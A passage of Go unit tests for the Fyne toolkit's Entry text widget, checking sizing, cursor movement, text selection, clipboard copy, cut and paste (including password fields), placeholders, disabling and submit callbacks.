assert.Equal(t, min, entry.MinSize()) entry.SetText("") assert.Equal(t, min, entry.MinSize()) entry.SetPlaceHolder("Hello") assert.Equal(t, entry.MinSize().Width, min.Width) assert.Equal(t, entry.MinSize().Height, min.Height) assert.True(t, min.Width > theme.Padding()*2) assert.True(t, min.Height > theme.Padding()*2) entry.Wrapping = fyne.TextWrapOff entry.Refresh() assert.Greater(t, entry.MinSize().Width, min.Width) min = entry.MinSize() entry.ActionItem = canvas.NewCircle(color.Black) assert.Equal(t, min.Add(fyne.NewSize(theme.IconInlineSize()+theme.Padding(), 0)), entry.MinSize()) } func TestEntryMultiline_MinSize(t *testing.T) { entry := widget.NewMultiLineEntry() min := entry.MinSize() entry.SetText("Hello") assert.Equal(t, entry.MinSize().Width, min.Width) assert.Equal(t, entry.MinSize().Height, min.Height) assert.True(t, min.Width > theme.Padding()*2) assert.True(t, min.Height > theme.Padding()*2) entry.Wrapping = fyne.TextWrapOff entry.Refresh() assert.Greater(t, entry.MinSize().Width, min.Width) entry.Wrapping = fyne.TextWrapBreak entry.Refresh() assert.Equal(t, entry.MinSize().Width, min.Width) min = entry.MinSize() entry.ActionItem = canvas.NewCircle(color.Black) assert.Equal(t, min.Add(fyne.NewSize(theme.IconInlineSize()+theme.Padding(), 0)), entry.MinSize()) } func TestEntry_MultilineSelect(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() // Extend the selection down one row typeKeys(e, fyne.KeyDown) test.AssertRendersToMarkup(t, "entry/selection_add_one_row_down.xml", c) assert.Equal(t, "sting\nTesti", e.SelectedText()) typeKeys(e, fyne.KeyUp) test.AssertRendersToMarkup(t, "entry/selection_remove_one_row_up.xml", c) assert.Equal(t, "sti", e.SelectedText()) typeKeys(e, fyne.KeyUp) test.AssertRendersToMarkup(t, "entry/selection_remove_add_one_row_up.xml", c) assert.Equal(t, "ng\nTe", e.SelectedText()) } func TestEntry_MultilineWrapping_DeleteWithBackspace(t *testing.T) { entry := widget.NewMultiLineEntry() entry.Wrapping = fyne.TextWrapWord entry.Resize(fyne.NewSize(64, 64)) test.Type(entry, "line1") test.Type(entry, "\nline2") test.Type(entry, "\nline3") assert.Equal(t, 5, entry.CursorColumn) assert.Equal(t, 2, entry.CursorRow) for i := 0; i < 4; i++ { entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyBackspace}) assert.Equal(t, 4-i, entry.CursorColumn) assert.Equal(t, 2, entry.CursorRow) } entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyBackspace}) assert.Equal(t, 0, entry.CursorColumn) assert.Equal(t, 2, entry.CursorRow) assert.NotPanics(t, func() { entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyBackspace}) }) assert.Equal(t, 5, entry.CursorColumn) assert.Equal(t, 1, entry.CursorRow) } func TestEntry_Notify(t *testing.T) { entry := widget.NewEntry() changed := false entry.OnChanged = func(string) { changed = true } entry.SetText("Test") assert.True(t, changed) } func TestEntry_OnCopy(t *testing.T) { e := widget.NewEntry() e.SetText("Testing") typeKeys(e, fyne.KeyRight, fyne.KeyRight, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight, fyne.KeyRight) clipboard := test.NewClipboard() shortcut := &fyne.ShortcutCopy{Clipboard: clipboard} e.TypedShortcut(shortcut) assert.Equal(t, "sti", clipboard.Content()) assert.Equal(t, "Testing", e.Text) } func TestEntry_OnCopy_Password(t *testing.T) { e := widget.NewPasswordEntry() e.SetText("Testing") typeKeys(e, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight, fyne.KeyRight) clipboard := test.NewClipboard() shortcut := &fyne.ShortcutCopy{Clipboard: clipboard} e.TypedShortcut(shortcut) assert.Equal(t, "", clipboard.Content()) assert.Equal(t, "Testing", e.Text) } func TestEntry_OnCut(t *testing.T) { e := widget.NewEntry() e.SetText("Testing") typeKeys(e, fyne.KeyRight, fyne.KeyRight, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight, fyne.KeyRight) clipboard := test.NewClipboard() shortcut := &fyne.ShortcutCut{Clipboard: clipboard} e.TypedShortcut(shortcut) assert.Equal(t, "sti", clipboard.Content()) assert.Equal(t, "Teng", e.Text) } func TestEntry_OnCut_Password(t *testing.T) { e := widget.NewPasswordEntry() e.SetText("Testing") typeKeys(e, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight, fyne.KeyRight) clipboard := test.NewClipboard() shortcut := &fyne.ShortcutCut{Clipboard: clipboard} e.TypedShortcut(shortcut) assert.Equal(t, "", clipboard.Content()) assert.Equal(t, "Testing", e.Text) } func TestEntry_OnKeyDown(t *testing.T) { entry := widget.NewEntry() test.Type(entry, "Hi") assert.Equal(t, "Hi", entry.Text) } func TestEntry_OnKeyDown_Backspace(t *testing.T) { entry := widget.NewEntry() entry.SetText("Hi") right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) entry.TypedKey(right) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 2, entry.CursorColumn) key := &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(key) assert.Equal(t, "H", entry.Text) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) } func TestEntry_OnKeyDown_BackspaceBeyondText(t *testing.T) { entry := widget.NewEntry() entry.SetText("Hi") right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) entry.TypedKey(right) key := &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(key) entry.TypedKey(key) entry.TypedKey(key) assert.Equal(t, "", entry.Text) } func TestEntry_OnKeyDown_BackspaceBeyondTextAndNewLine(t *testing.T) { entry := widget.NewMultiLineEntry() entry.SetText("H\ni") down := &fyne.KeyEvent{Name: fyne.KeyDown} entry.TypedKey(down) right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) key := &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(key) assert.Equal(t, 1, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) entry.TypedKey(key) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) assert.Equal(t, "H", entry.Text) } func TestEntry_OnKeyDown_BackspaceNewline(t *testing.T) { entry := widget.NewMultiLineEntry() entry.SetText("H\ni") down := &fyne.KeyEvent{Name: fyne.KeyDown} entry.TypedKey(down) key := &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(key) assert.Equal(t, "Hi", entry.Text) } func TestEntry_OnKeyDown_BackspaceUnicode(t *testing.T) { entry := widget.NewEntry() test.Type(entry, "è") assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) bs := &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(bs) assert.Equal(t, "", entry.Text) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) } func TestEntry_OnKeyDown_Delete(t *testing.T) { entry := widget.NewEntry() entry.SetText("Hi") right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) key := &fyne.KeyEvent{Name: fyne.KeyDelete} entry.TypedKey(key) assert.Equal(t, "H", entry.Text) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) } func TestEntry_OnKeyDown_DeleteBeyondText(t *testing.T) { entry := widget.NewEntry() entry.SetText("Hi") key := &fyne.KeyEvent{Name: fyne.KeyDelete} entry.TypedKey(key) entry.TypedKey(key) entry.TypedKey(key) assert.Equal(t, "", entry.Text) } func TestEntry_OnKeyDown_DeleteNewline(t *testing.T) { entry := widget.NewEntry() entry.SetText("H\ni") right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) key := &fyne.KeyEvent{Name: fyne.KeyDelete} entry.TypedKey(key) assert.Equal(t, "Hi", entry.Text) } func TestEntry_OnKeyDown_HomeEnd(t *testing.T) { entry := &widget.Entry{} entry.SetText("Hi") assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) end := &fyne.KeyEvent{Name: fyne.KeyEnd} entry.TypedKey(end) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 2, entry.CursorColumn) home := &fyne.KeyEvent{Name: fyne.KeyHome} entry.TypedKey(home) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) } func TestEntry_OnKeyDown_Insert(t *testing.T) { entry := widget.NewEntry() test.Type(entry, "Hi") assert.Equal(t, "Hi", entry.Text) left := &fyne.KeyEvent{Name: fyne.KeyLeft} entry.TypedKey(left) test.Type(entry, "o") assert.Equal(t, "Hoi", entry.Text) } func TestEntry_OnKeyDown_Newline(t *testing.T) { entry, window := setupImageTest(t, true) defer teardownImageTest(window) c := window.Canvas() entry.SetText("Hi") assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) test.AssertRendersToMarkup(t, "entry/on_key_down_newline_initial.xml", c) right := &fyne.KeyEvent{Name: fyne.KeyRight} entry.TypedKey(right) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) key := &fyne.KeyEvent{Name: fyne.KeyReturn} entry.TypedKey(key) assert.Equal(t, "H\ni", entry.Text) assert.Equal(t, 1, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) test.Type(entry, "o") assert.Equal(t, "H\noi", entry.Text) test.AssertRendersToMarkup(t, "entry/on_key_down_newline_typed.xml", c) } func TestEntry_OnPaste(t *testing.T) { clipboard := test.NewClipboard() shortcut := &fyne.ShortcutPaste{Clipboard: clipboard} tests := []struct { name string entry *widget.Entry clipboardContent string wantText string wantRow, wantCol int }{ { name: "singleline: empty content", entry: widget.NewEntry(), clipboardContent: "", wantText: "", wantRow: 0, wantCol: 0, }, { name: "singleline: simple text", entry: widget.NewEntry(), clipboardContent: "clipboard content", wantText: "clipboard content", wantRow: 0, wantCol: 17, }, { name: "singleline: UTF8 text", entry: widget.NewEntry(), clipboardContent: "Hié™שרה", wantText: "Hié™שרה", wantRow: 0, wantCol: 7, }, { name: "singleline: with new line", entry: widget.NewEntry(), clipboardContent: "clipboard\ncontent", wantText: "clipboard content", wantRow: 0, wantCol: 17, }, { name: "singleline: with tab", entry: widget.NewEntry(), clipboardContent: "clipboard\tcontent", wantText: "clipboard\tcontent", wantRow: 0, wantCol: 17, }, { name: "password: with new line", entry: widget.NewPasswordEntry(), clipboardContent: "3SB=y+)z\nkHGK(hx6 -e_\"1TZu q^bF3^$u H[:e\"1O.", wantText: `3SB=y+)z kHGK(hx6 -e_"1TZu q^bF3^$u H[:e"1O.`, wantRow: 0, wantCol: 44, }, { name: "multiline: with new line", entry: widget.NewMultiLineEntry(), clipboardContent: "clipboard\ncontent", wantText: "clipboard\ncontent", wantRow: 1, wantCol: 7, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { clipboard.SetContent(tt.clipboardContent) tt.entry.TypedShortcut(shortcut) assert.Equal(t, tt.wantText, tt.entry.Text) assert.Equal(t, tt.wantRow, tt.entry.CursorRow) assert.Equal(t, tt.wantCol, tt.entry.CursorColumn) }) } } func TestEntry_PageUpDown(t *testing.T) { t.Run("single line", func(*testing.T) { e, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() c.Focus(e) e.SetText("Testing") test.AssertRendersToMarkup(t, "entry/select_initial.xml", c) // move right, press & hold shift and pagedown typeKeys(e, fyne.KeyRight, keyShiftLeftDown, fyne.KeyPageDown) assert.Equal(t, "esting", e.SelectedText()) assert.Equal(t, 0, e.CursorRow) assert.Equal(t, 7, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_single_line_shift_pagedown.xml", c) // while shift is held press pageup typeKeys(e, fyne.KeyPageUp) assert.Equal(t, "T", e.SelectedText()) assert.Equal(t, 0, e.CursorRow) assert.Equal(t, 0, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_single_line_shift_pageup.xml", c) // release shift and press pagedown typeKeys(e, keyShiftLeftUp, fyne.KeyPageDown) assert.Equal(t, "", e.SelectedText()) assert.Equal(t, 0, e.CursorRow) assert.Equal(t, 7, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_single_line_pagedown.xml", c) }) t.Run("page down single line", func(*testing.T) { e, window := setupImageTest(t, true) defer teardownImageTest(window) c := window.Canvas() c.Focus(e) e.SetText("Testing\nTesting\nTesting") test.AssertRendersToMarkup(t, "entry/select_multi_line_initial.xml", c) // move right, press & hold shift and pagedown typeKeys(e, fyne.KeyRight, keyShiftLeftDown, fyne.KeyPageDown) assert.Equal(t, "esting\nTesting\nTesting", e.SelectedText()) assert.Equal(t, 2, e.CursorRow) assert.Equal(t, 7, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_multi_line_shift_pagedown.xml", c) // while shift is held press pageup typeKeys(e, fyne.KeyPageUp) assert.Equal(t, "T", e.SelectedText()) assert.Equal(t, 0, e.CursorRow) assert.Equal(t, 0, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_multi_line_shift_pageup.xml", c) // release shift and press pagedown typeKeys(e, keyShiftLeftUp, fyne.KeyPageDown) assert.Equal(t, "", e.SelectedText()) assert.Equal(t, 2, e.CursorRow) assert.Equal(t, 7, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_multi_line_pagedown.xml", c) }) } func TestEntry_PasteOverSelection(t *testing.T) { e := widget.NewEntry() e.SetText("Testing") typeKeys(e, fyne.KeyRight, fyne.KeyRight, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight, fyne.KeyRight) clipboard := test.NewClipboard() clipboard.SetContent("Insert") shortcut := &fyne.ShortcutPaste{Clipboard: clipboard} e.TypedShortcut(shortcut) assert.Equal(t, "Insert", clipboard.Content()) assert.Equal(t, "TeInsertng", e.Text) } func TestEntry_PasteUnicode(t *testing.T) { e := widget.NewMultiLineEntry() e.SetText("line") e.CursorColumn = 4 clipboard := test.NewClipboard() clipboard.SetContent("thing {\n\titem: 'val测试'\n}") shortcut := &fyne.ShortcutPaste{Clipboard: clipboard} e.TypedShortcut(shortcut) assert.Equal(t, "thing {\n\titem: 'val测试'\n}", clipboard.Content()) assert.Equal(t, "linething {\n\titem: 'val测试'\n}", e.Text) assert.Equal(t, 2, e.CursorRow) assert.Equal(t, 1, e.CursorColumn) } func TestEntry_Placeholder(t *testing.T) { entry := &widget.Entry{} entry.Text = "Text" entry.PlaceHolder = "Placehold" window := test.NewWindow(entry) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, "Text", entry.Text) test.AssertRendersToMarkup(t, "entry/placeholder_with_text.xml", c) entry.SetText("") assert.Equal(t, "", entry.Text) test.AssertRendersToMarkup(t, "entry/placeholder_without_text.xml", c) } func TestEntry_Select(t *testing.T) { for name, tt := range map[string]struct { keys []fyne.KeyName text string setupReverse bool wantMarkup string wantSelection string wantText string }{ "delete single-line": { keys: []fyne.KeyName{fyne.KeyDelete}, wantText: "Testing\nTeng\nTesting", wantMarkup: "entry/selection_delete_single_line.xml", }, "delete multi-line": { keys: []fyne.KeyName{fyne.KeyDown, fyne.KeyDelete}, wantText: "Testing\nTeng", wantMarkup: "entry/selection_delete_multi_line.xml", }, "delete reverse multi-line": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyDown, fyne.KeyDelete}, setupReverse: true, wantText: "Testing\nTestisting", wantMarkup: "entry/selection_delete_reverse_multi_line.xml", }, "delete select down with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyDelete, fyne.KeyDown}, wantText: "Testing\nTeng\nTesting", wantSelection: "ng\nTe", wantMarkup: "entry/selection_delete_and_add_down.xml", }, "delete reverse select down with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyDelete, fyne.KeyDown}, setupReverse: true, wantText: "Testing\nTeng\nTesting", wantSelection: "ng\nTe", wantMarkup: "entry/selection_delete_and_add_down.xml", }, "delete select up with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyDelete, fyne.KeyUp}, wantText: "Testing\nTeng\nTesting", wantSelection: "sting\nTe", wantMarkup: "entry/selection_delete_and_add_up.xml", }, "delete reverse select up with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyDelete, fyne.KeyUp}, setupReverse: true, wantText: "Testing\nTeng\nTesting", wantSelection: "sting\nTe", wantMarkup: "entry/selection_delete_and_add_up.xml", }, // The backspace delete behaviour is the same as via delete. "backspace single-line": { keys: []fyne.KeyName{fyne.KeyBackspace}, wantText: "Testing\nTeng\nTesting", wantMarkup: "entry/selection_delete_single_line.xml", }, "backspace multi-line": { keys: []fyne.KeyName{fyne.KeyDown, fyne.KeyBackspace}, wantText: "Testing\nTeng", wantMarkup: "entry/selection_delete_multi_line.xml", }, "backspace reverse multi-line": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyDown, fyne.KeyBackspace}, setupReverse: true, wantText: "Testing\nTestisting", wantMarkup: "entry/selection_delete_reverse_multi_line.xml", }, "backspace select down with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyBackspace, fyne.KeyDown}, wantText: "Testing\nTeng\nTesting", wantSelection: "ng\nTe", wantMarkup: "entry/selection_delete_and_add_down.xml", }, "backspace reverse select down with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyBackspace, fyne.KeyDown}, setupReverse: true, wantText: "Testing\nTeng\nTesting", wantSelection: "ng\nTe", wantMarkup: "entry/selection_delete_and_add_down.xml", }, "backspace select up with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyBackspace, fyne.KeyUp}, wantText: "Testing\nTeng\nTesting", wantSelection: "sting\nTe", wantMarkup: "entry/selection_delete_and_add_up.xml", }, "backspace reverse select up with Shift held": { keys: []fyne.KeyName{keyShiftLeftDown, fyne.KeyBackspace, fyne.KeyUp}, setupReverse: true, wantText: "Testing\nTeng\nTesting", wantSelection: "sting\nTe", wantMarkup: "entry/selection_delete_and_add_up.xml", }, // Erase the selection and add a newline at selection start "enter": { keys: []fyne.KeyName{fyne.KeyEnter}, wantText: "Testing\nTe\nng\nTesting", wantMarkup: "entry/selection_enter.xml", }, "enter reverse": { keys: []fyne.KeyName{fyne.KeyEnter}, setupReverse: true, wantText: "Testing\nTe\nng\nTesting", wantMarkup: "entry/selection_enter.xml", }, "replace": { text: "hello", wantText: "Testing\nTehellong\nTesting", wantMarkup: "entry/selection_replace.xml", }, "replace reverse": { text: "hello", setupReverse: true, wantText: "Testing\nTehellong\nTesting", wantMarkup: "entry/selection_replace.xml", }, "deselect and delete": { keys: []fyne.KeyName{keyShiftLeftUp, fyne.KeyLeft, fyne.KeyDelete}, wantText: "Testing\nTeting\nTesting", wantMarkup: "entry/selection_deselect_delete.xml", }, "deselect and delete holding shift": { keys: []fyne.KeyName{keyShiftLeftUp, fyne.KeyLeft, keyShiftLeftDown, fyne.KeyDelete}, wantText: "Testing\nTeting\nTesting", wantMarkup: "entry/selection_deselect_delete.xml", }, // ensure that backspace doesn't leave a selection start at the old cursor position "deselect and backspace holding shift": { keys: []fyne.KeyName{keyShiftLeftUp, fyne.KeyLeft, keyShiftLeftDown, fyne.KeyBackspace}, wantText: "Testing\nTsting\nTesting", wantMarkup: "entry/selection_deselect_backspace.xml", }, // clear selection, select a character and while holding shift issue two backspaces "deselect, select and double backspace": { keys: []fyne.KeyName{keyShiftLeftUp, fyne.KeyRight, fyne.KeyLeft, keyShiftLeftDown, fyne.KeyLeft, fyne.KeyBackspace, fyne.KeyBackspace}, wantText: "Testing\nTeing\nTesting", wantMarkup: "entry/selection_deselect_select_backspace.xml", }, } { t.Run(name, func(t *testing.T) { entry, window := setupSelection(t, tt.setupReverse) defer teardownImageTest(window) c := window.Canvas() if tt.text != "" { test.Type(entry, tt.text) } else { typeKeys(entry, tt.keys...) } assert.Equal(t, tt.wantText, entry.Text) assert.Equal(t, tt.wantSelection, entry.SelectedText()) test.AssertRendersToMarkup(t, tt.wantMarkup, c) }) } } func TestEntry_SelectAll(t *testing.T) { e, window := setupImageTest(t, true) defer teardownImageTest(window) c := window.Canvas() c.Focus(e) e.SetText("First Row\nSecond Row\nThird Row") test.AssertRendersToMarkup(t, "entry/select_all_initial.xml", c) shortcut := &fyne.ShortcutSelectAll{} e.TypedShortcut(shortcut) assert.Equal(t, 2, e.CursorRow) assert.Equal(t, 9, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/select_all_selected.xml", c) } func TestEntry_SelectAll_EmptyEntry(t *testing.T) { entry := widget.NewEntry() entry.TypedShortcut(&fyne.ShortcutSelectAll{}) assert.Equal(t, "", entry.SelectedText()) } func TestEntry_SelectEndWithoutShift(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() // end after releasing shift typeKeys(e, keyShiftLeftUp, fyne.KeyEnd) test.AssertRendersToMarkup(t, "entry/selection_end.xml", c) assert.Equal(t, "", e.SelectedText()) } func TestEntry_SelectHomeEnd(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() // Hold shift to continue selection typeKeys(e, keyShiftLeftDown) // T e[s t i]n g -> end -> // T e[s t i n g] typeKeys(e, fyne.KeyEnd) test.AssertRendersToMarkup(t, "entry/selection_add_to_end.xml", c) assert.Equal(t, "sting", e.SelectedText()) // T e[s t i n g] -> home -> [T e]s t i n g typeKeys(e, fyne.KeyHome) test.AssertRendersToMarkup(t, "entry/selection_add_to_home.xml", c) assert.Equal(t, "Te", e.SelectedText()) } func TestEntry_SelectHomeWithoutShift(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() // home after releasing shift typeKeys(e, keyShiftLeftUp, fyne.KeyHome) test.AssertRendersToMarkup(t, "entry/selection_home.xml", c) assert.Equal(t, "", e.SelectedText()) } func TestEntry_SelectSnapDown(t *testing.T) { // down snaps to end, but it also moves e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, 1, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) typeKeys(e, keyShiftLeftUp, fyne.KeyDown) assert.Equal(t, 2, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/selection_snap_down.xml", c) assert.Equal(t, "", e.SelectedText()) } func TestEntry_SelectSnapLeft(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, 1, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) typeKeys(e, keyShiftLeftUp, fyne.KeyLeft) assert.Equal(t, 1, e.CursorRow) assert.Equal(t, 2, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/selection_snap_left.xml", c) assert.Equal(t, "", e.SelectedText()) } func TestEntry_SelectSnapRight(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, 1, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) typeKeys(e, keyShiftLeftUp, fyne.KeyRight) assert.Equal(t, 1, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/selection_snap_right.xml", c) assert.Equal(t, "", e.SelectedText()) } func TestEntry_SelectSnapUp(t *testing.T) { // up snaps to start, but it also moves e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, 1, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) typeKeys(e, keyShiftLeftUp, fyne.KeyUp) assert.Equal(t, 0, e.CursorRow) assert.Equal(t, 5, e.CursorColumn) test.AssertRendersToMarkup(t, "entry/selection_snap_up.xml", c) assert.Equal(t, "", e.SelectedText()) } func TestEntry_SelectedText(t *testing.T) { e, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() c.Focus(e) e.SetText("Testing") test.AssertRendersToMarkup(t, "entry/select_initial.xml", c) assert.Equal(t, "", e.SelectedText()) // move right, press & hold shift and move right typeKeys(e, fyne.KeyRight, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight) assert.Equal(t, "es", e.SelectedText()) test.AssertRendersToMarkup(t, "entry/select_selected.xml", c) // release shift typeKeys(e, keyShiftLeftUp) // press shift and move typeKeys(e, keyShiftLeftDown, fyne.KeyRight) assert.Equal(t, "est", e.SelectedText()) test.AssertRendersToMarkup(t, "entry/select_add_selection.xml", c) // release shift and move right typeKeys(e, keyShiftLeftUp, fyne.KeyRight) assert.Equal(t, "", e.SelectedText()) test.AssertRendersToMarkup(t, "entry/select_move_wo_shift.xml", c) // press shift and move left typeKeys(e, keyShiftLeftDown, fyne.KeyLeft, fyne.KeyLeft) assert.Equal(t, "st", e.SelectedText()) test.AssertRendersToMarkup(t, "entry/select_select_left.xml", c) } func TestEntry_SelectionHides(t *testing.T) { e, window := setupSelection(t, false) defer teardownImageTest(window) c := window.Canvas() c.Unfocus() test.AssertRendersToMarkup(t, "entry/selection_focus_lost.xml", c) assert.Equal(t, "sti", e.SelectedText()) c.Focus(e) test.AssertRendersToMarkup(t, "entry/selection_focus_gained.xml", c) assert.Equal(t, "sti", e.SelectedText()) } func TestEntry_SetPlaceHolder(
window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, 0, len(entry.Text)) entry.SetPlaceHolder("Test") assert.Equal(t, 0, len(entry.Text)) test.AssertRendersToMarkup(t, "entry/set_placeholder_set.xml", c) entry.SetText("Hi") assert.Equal(t, 2, len(entry.Text)) test.AssertRendersToMarkup(t, "entry/set_placeholder_replaced.xml", c) } func TestEntry_SetPlaceHolder_ByField(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() assert.Equal(t, 0, len(entry.Text)) entry.PlaceHolder = "Test" entry.Refresh() assert.Equal(t, 0, len(entry.Text)) test.AssertRendersToMarkup(t, "entry/set_placeholder_set.xml", c) entry.SetText("Hi") assert.Equal(t, 2, len(entry.Text)) test.AssertRendersToMarkup(t, "entry/set_placeholder_replaced.xml", c) } func TestEntry_Disable_KeyDown(t *testing.T) { entry := widget.NewEntry() test.Type(entry, "H") entry.Disable() test.Type(entry, "i") assert.Equal(t, "H", entry.Text) entry.Enable() test.Type(entry, "i") assert.Equal(t, "Hi", entry.Text) } func TestEntry_Disable_OnFocus(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() entry.Disable() entry.FocusGained() test.AssertRendersToMarkup(t, "entry/focused_disabled.xml", c) entry.Enable() entry.FocusGained() test.AssertRendersToMarkup(t, "entry/focused_enabled.xml", c) } func TestEntry_SetText_EmptyString(t *testing.T) { entry := widget.NewEntry() assert.Equal(t, 0, entry.CursorColumn) test.Type(entry, "test") assert.Equal(t, 4, entry.CursorColumn) entry.SetText("") assert.Equal(t, 0, entry.CursorColumn) entry = widget.NewMultiLineEntry() test.Type(entry, "test\ntest") down := &fyne.KeyEvent{Name: fyne.KeyDown} entry.TypedKey(down) assert.Equal(t, 4, entry.CursorColumn) assert.Equal(t, 1, entry.CursorRow) entry.SetText("") assert.Equal(t, 0, entry.CursorColumn) assert.Equal(t, 0, entry.CursorRow) } func TestEntry_SetText_Manual(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() entry.Text = "Test" entry.Refresh() test.AssertRendersToMarkup(t, "entry/set_text_changed.xml", c) } func TestEntry_SetText_Overflow(t *testing.T) { entry := widget.NewEntry() assert.Equal(t, 0, entry.CursorColumn) test.Type(entry, "test") assert.Equal(t, 4, entry.CursorColumn) entry.SetText("x") assert.Equal(t, 1, entry.CursorColumn) key := &fyne.KeyEvent{Name: fyne.KeyDelete} entry.TypedKey(key) assert.Equal(t, 1, entry.CursorColumn) assert.Equal(t, "x", entry.Text) key = &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(key) assert.Equal(t, 0, entry.CursorColumn) assert.Equal(t, "", entry.Text) } func TestEntry_SetText_Underflow(t *testing.T) { entry := widget.NewEntry() test.Type(entry, "test") assert.Equal(t, 4, entry.CursorColumn) entry.Text = "" entry.Refresh() assert.Equal(t, 0, entry.CursorColumn) key := &fyne.KeyEvent{Name: fyne.KeyBackspace} entry.TypedKey(key) assert.Equal(t, 0, entry.CursorColumn) assert.Equal(t, "", entry.Text) } func TestEntry_SetTextStyle(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() entry.Text = "Styled Text" entry.TextStyle = fyne.TextStyle{Bold: true} entry.Refresh() test.AssertRendersToMarkup(t, "entry/set_text_style_bold.xml", c) entry.TextStyle = fyne.TextStyle{Monospace: true} entry.Refresh() test.AssertRendersToMarkup(t, "entry/set_text_style_monospace.xml", c) entry.TextStyle = fyne.TextStyle{Italic: true} entry.Refresh() test.AssertRendersToMarkup(t, "entry/set_text_style_italic.xml", c) } func TestEntry_Submit(t *testing.T) { t.Run("Callback", func(t *testing.T) { var submission string entry := &widget.Entry{ OnSubmitted: func(s string) { submission = s }, } t.Run("SingleLine_Enter", func(t *testing.T) { entry.MultiLine = false entry.SetText("a") entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyEnter}) assert.Equal(t, "a", entry.Text) assert.Equal(t, "a", submission) }) t.Run("SingleLine_Return", func(t *testing.T) { entry.MultiLine = false entry.SetText("b") entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyReturn}) assert.Equal(t, "b", entry.Text) assert.Equal(t, "b", submission) }) t.Run("MultiLine_ShiftEnter", func(t *testing.T) { entry.MultiLine = true entry.SetText("c") typeKeys(entry, keyShiftLeftDown, fyne.KeyReturn, keyShiftLeftUp) assert.Equal(t, "c", entry.Text) assert.Equal(t, "c", submission) entry.SetText("d") 